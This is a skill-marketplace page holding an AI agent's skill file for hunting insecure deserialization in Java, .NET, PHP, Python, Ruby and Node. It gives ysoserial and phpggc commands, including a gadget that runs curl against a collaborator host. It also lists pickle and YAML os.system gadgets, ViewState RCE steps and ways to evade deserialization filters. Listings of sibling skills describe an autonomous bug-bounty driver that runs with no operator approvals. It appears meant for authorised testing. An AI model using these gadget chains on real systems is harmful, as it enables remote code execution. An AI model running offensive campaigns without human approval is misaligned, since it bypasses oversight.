Skip to content
cccskills
FreePublished on GitHub

hunt-deserialization

Insecure deserialization hunting across Java / .NET / PHP / Python / Ruby / Node. Gadget-chain RCE, OOB-gated blind detection, magic-byte fingerprinting. Wiki-first, FIND schema output.

The English summary is being prepared. Showing the original description.

See how to install

Files included (1)

  • SKILL.md6.6 KB

SKILL.md (original)

Review the instructions the agent will receive before you install.

Hunt: Insecure Deserialization

Assumes hunt-core for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.

Wiki

qmd_query "insecure deserialization gadget chain Java .NET PHP Python Ruby Node ysoserial" via wiki-search MCP

Hub: [[web-moc]] (live web index). Primary page: [[insecure-deserialization]]. Payload arsenal: wiki/payloads/deserialization.md. Anchors: [[ml-model-deserialization]].

Confirmation gate

Blind deserialization RCE claims require an OOB HIT. No exceptions. The first payload is always a benign OOB probe, never a command: Java URLDNS / JRMPClient force a DNS/TCP callback with zero code-exec risk, proving the sink deserializes attacker data before you fire a gadget.

NOT confirmation: a deserialization error, a type error, a stack trace, a 500, or the blob merely being accepted. Any of these alone means the parser saw your bytes, not that you control execution.

IS confirmation: an OOB callback from the gadget to your unique Collaborator / interactsh subdomain, or a demonstrated effect - command execution, a file read, an SSRF fetch - reproduced in a clean session per hunt-core. A time-delay gadget that reliably toggles counts as the effect. Blind cases need the OOB HIT.

When you plant the OOB probe (URLDNS/JRMPClient or any blind payload), append a row to targets/<eng>/oob.md: | <token> | <sink url+param> | deser | <date> | waiting | | (columns: token | sink | class | planted | status | source, token = your unique interactsh label). The recon-capture hook auto-correlates incoming callbacks to flip the row to HIT and SessionStart surfaces HITs; the HIT row is the gate to scaffold the FIND. Do NOT claim a blind deserialization finding without a HIT row.

Attack surface signals

Fingerprint serialized blobs by magic bytes / shape:

rO0AB...                      Java (base64, 0xAC 0xED 0x00 0x05)
AAEAAAD/////                  .NET BinaryFormatter (base64)
a:2:{... / O:8:"stdClass":    PHP serialize()
gASV / \x80\x04 / \x80\x05    Python pickle (base64 gAS...)
BAh... / --- !ruby/object     Ruby Marshal / YAML

Sink locations: cookies (session, auth, state, viewstate), hidden form fields, Authorization, API JSON with type hints, message queues, cache, file upload of .ser/.pickle.

Rank before firing a gadget. Not all sinks are equal:

  • ASP.NET __VIEWSTATE - if MAC is off or the machineKey leaked, straight to RCE; check first.
  • Session / auth cookies carrying a serialized blob - attacker-controlled every request, no prior access needed to reach the sink.
  • .ser/.pickle file uploads and phar:// sinks - the parser runs on your bytes by design.
  • API JSON with type hints ($type, _class, polymorphic deserializers) - Jackson / fastjson default-typing, .NET TypeNameHandling.
  • Message-queue / cache payloads - internal, often unauthenticated, frequently no look-ahead filter.

Methodology

  1. Locate serialized data (decode base64, match magic bytes above).
  2. Java:
java -jar ysoserial.jar URLDNS "http://probe.<collab>" | base64 -w0     # OOB probe FIRST
java -jar ysoserial.jar CommonsCollections6 "curl http://<collab>/x" | base64 -w0   # after sink confirmed
# .NET ViewState: known machineKey -> ysoserial.net -p ViewState

No ysoserial jar on the box? (the tooling VM often lacks it; the jitpack build download returns an empty/9-byte stub.) BUILD the gadget yourself against the target's gadget lib from Maven Central, then compile with --release <target-JRE-major> and run with the right --add-opens. Full recipe + modern-JDK (17/21) gotchas (class-version mismatch, InaccessibleObjectException, CC5's String-typed BadAttributeValueExpException.val on JDK 21 -> use CC6) in [[deserialization]] "Build the gadget yourself". 3. .NET: ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "cmd"; ViewState via ysoserial.net -p ViewState --generator=... --validationkey=.... 4. PHP: craft POP chain from app's __wakeup/__destruct/__toString; phpggc Framework/RCE1 system id. Look for unserialize() on user input, phar:// (deser via filesystem funcs). 5. Python: pickle.loads on user data -> __reduce__ returning (os.system, ("cmd",)). yaml.load (unsafe) -> !!python/object/apply:os.system. 6. Ruby: Marshal.load / unsafe YAML.load -> universal gadget chains (Gem::...). 7. Node: node-serialize _$$ND_FUNC$$_ IIFE; funcster, serialize-javascript sinks. 8. Distill when confirmed (per hunt-core): reusable gadget chain or framework sink -> python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/web/insecure-deserialization.md.

Chaining

A deserialization sink is usually the RCE itself, not a step toward one: a working gadget executes your command in-process. When the classpath yields only a partial primitive - URLDNS / JRMPClient SSRF, a file-read gadget, a JNDI lookup - drive the follow-on through hunt-rce (JNDI/LDAP to code exec, log4shell-style) or the relevant sink skill rather than forcing a command gadget the look-ahead filter blocks.

Evasion

Look-ahead deserialization filters (ValidatingObjectInputStream, ObjectInputFilter, Jackson allowlists) reject known gadget classes by name. When a confirmed sink rejects CC1-7: switch to a gadget library actually on the classpath (Spring, Hibernate5, C3P0, ROME, MozillaRhino), try a different serialization format the same endpoint accepts (XML / JSON / YAML vs binary), nest the payload (SignedObject wrapping), or - .NET - swap the formatter (LosFormatter, SoapFormatter, Json.NET TypeNameHandling). Fingerprint the exact library version before sweeping blind.

Severity

  • CRITICAL - command execution or an OOB code callback from the gadget.
  • HIGH - file-read or SSRF-only gadget (no command exec).
  • MEDIUM - DoS-only gadget.

Rated on demonstrated impact per hunt-core, not the theoretical maximum of the class.

Deadends

Stop after the bounded OOB gadget sweep (per hunt-core / CLAUDE.md: ~30-40 payloads, zero callbacks) or when the sink deserializes but no gadget on the classpath executes:

Append: - [ ] deser on <host> <param> -- Java sink confirmed (URLDNS hit) but CC1-7/Spring/
              Hibernate no exec (hardened classpath / look-ahead filter)

Record which gadget libraries and formats you tried, not just that it failed.

Reviews

No reviews yet. Tell others what you thought.

Comments

No login needed. Share how it worked for you, ask a question, or note where it did not run.

No comments yet. Be the first to write one.

Comments are published right away. Do not include personal information such as email addresses or phone numbers. Up to 2 URLs.

0 / 1,000 characters

This form is protected by reCAPTCHA, and the Google Privacy Policy and Terms of Service apply.

More skills from this repository

Wiki-first "what do I use" lookup - pick the automated TOOL (wiki/tools/), then the PAYLOAD/technique (wiki/payloads/ + wiki/cheatsheets/), for a surface/service/vuln-class BEFORE hand-rolling or working from memory. Use for "tool for <service>", "automated tools for web/<service>", "what should I run on <surface>", "which tool for <X>", "payloads for <X>", "payload arsenal", "cheatsheet for <X>", "how do I exploit <tech/class>", "exploit/attack chain for <X>", "arsenal", any SSRF/XSS/SQLi/SSTI/LFI/JWT/XXE/IDOR/NoSQL/deserialization/CSRF/CORS/CRLF/GraphQL/smuggling/web-cache/OAuth/SAML/MFA/crypto/LDAP/XPath/WebAuthn/file-upload/IMDS/prompt-injection/Modbus ask, plus "privesc arsenal", "CVE arsenal", "default creds", "nuclei templates", "sqlmap/hydra/nmap/bloodhound", "password attacks".

The English summary is being prepared. Showing the original description.

Encod3d-Sec/TORCH333Updated Sep 1, 2026

Autonomous bug-bounty campaign driver. Runs a full programme end to end with no operator approvals - the deterministic driver (scripts/campaign.py) owns pass state, generates the killchain board from recon, and prints the exact next action (including which Skill and tool to run) every turn. Use when starting or resuming a bug-bounty engagement, "run the bb workflow", "hunt this program", "9-pass campaign", or when handed a *.scope wildcard to test for TIER1 findings. Single agent, refuter-verified, wiki-first, tool-first.

The English summary is being prepared. Showing the original description.

Encod3d-Sec/TORCH333Updated Sep 1, 2026

Health check for the bb/pt/ctf workflow driver subsystem - verifies everything is in place so every machine runs the same. Checks vault-content consistency (scripts present, JSON valid, routing wired, all 69 tool pages carry phase:, the tool index resolves, the hook edits are in place) AND per-machine wiring (the three workflow skills symlinked, hooks registered, imports work), then runs a live init->board->next smoke test. Use when setting up the workflow on a new machine, after a vault sync, when the driver misbehaves, or on "bb-health", "campaign health", "is the workflow set up", "check hooks and scripts", "why is the board not working".

The English summary is being prepared. Showing the original description.

Encod3d-Sec/TORCH333Updated Sep 1, 2026

Bring up a REAL, visible, interactive chromium on the Kali VM that the operator logs into (Smart-ID / Mobile-ID / any manual auth or MFA/CAPTCHA), while the agent drives and observes it live through the chrome-devtools MCP (navigate, DOM snapshot, network capture, screenshots, console, evaluate). Use whenever a target needs a MANUAL login the agent cannot complete headlessly, when you need to capture an authenticated session / the real API calls a page makes, or to confirm/screenshot a DOM-XSS. Triggers - "open a browser", "log in manually", "smart-id / mobile-id / national id login", "mfa / 2fa login", "solve the captcha", "drive the browser", "capture the authenticated session / network".

The English summary is being prepared. Showing the original description.

Encod3d-Sec/TORCH333Updated Sep 1, 2026

OFFLINE FALLBACK for the claude-md-management plugin - prefer that plugin when it is installed. Audit and improve CLAUDE.md files - scan for CLAUDE.md files, evaluate quality against templates, output a report, then make targeted updates. Invoke explicitly (/claude-md-improver) when the plugin is unavailable.

The English summary is being prepared. Showing the original description.

Encod3d-Sec/TORCH333Updated Sep 1, 2026

Show per-asset vuln-class coverage gaps for the active engagement so nothing in scope is skipped. Use when asked "coverage", "what haven't we tested", "test gaps", "are we thorough", or before calling an engagement done.

The English summary is being prepared. Showing the original description.

Encod3d-Sec/TORCH333Updated Sep 1, 2026

See all skills by Encod3d-Sec

Report a problem with this skill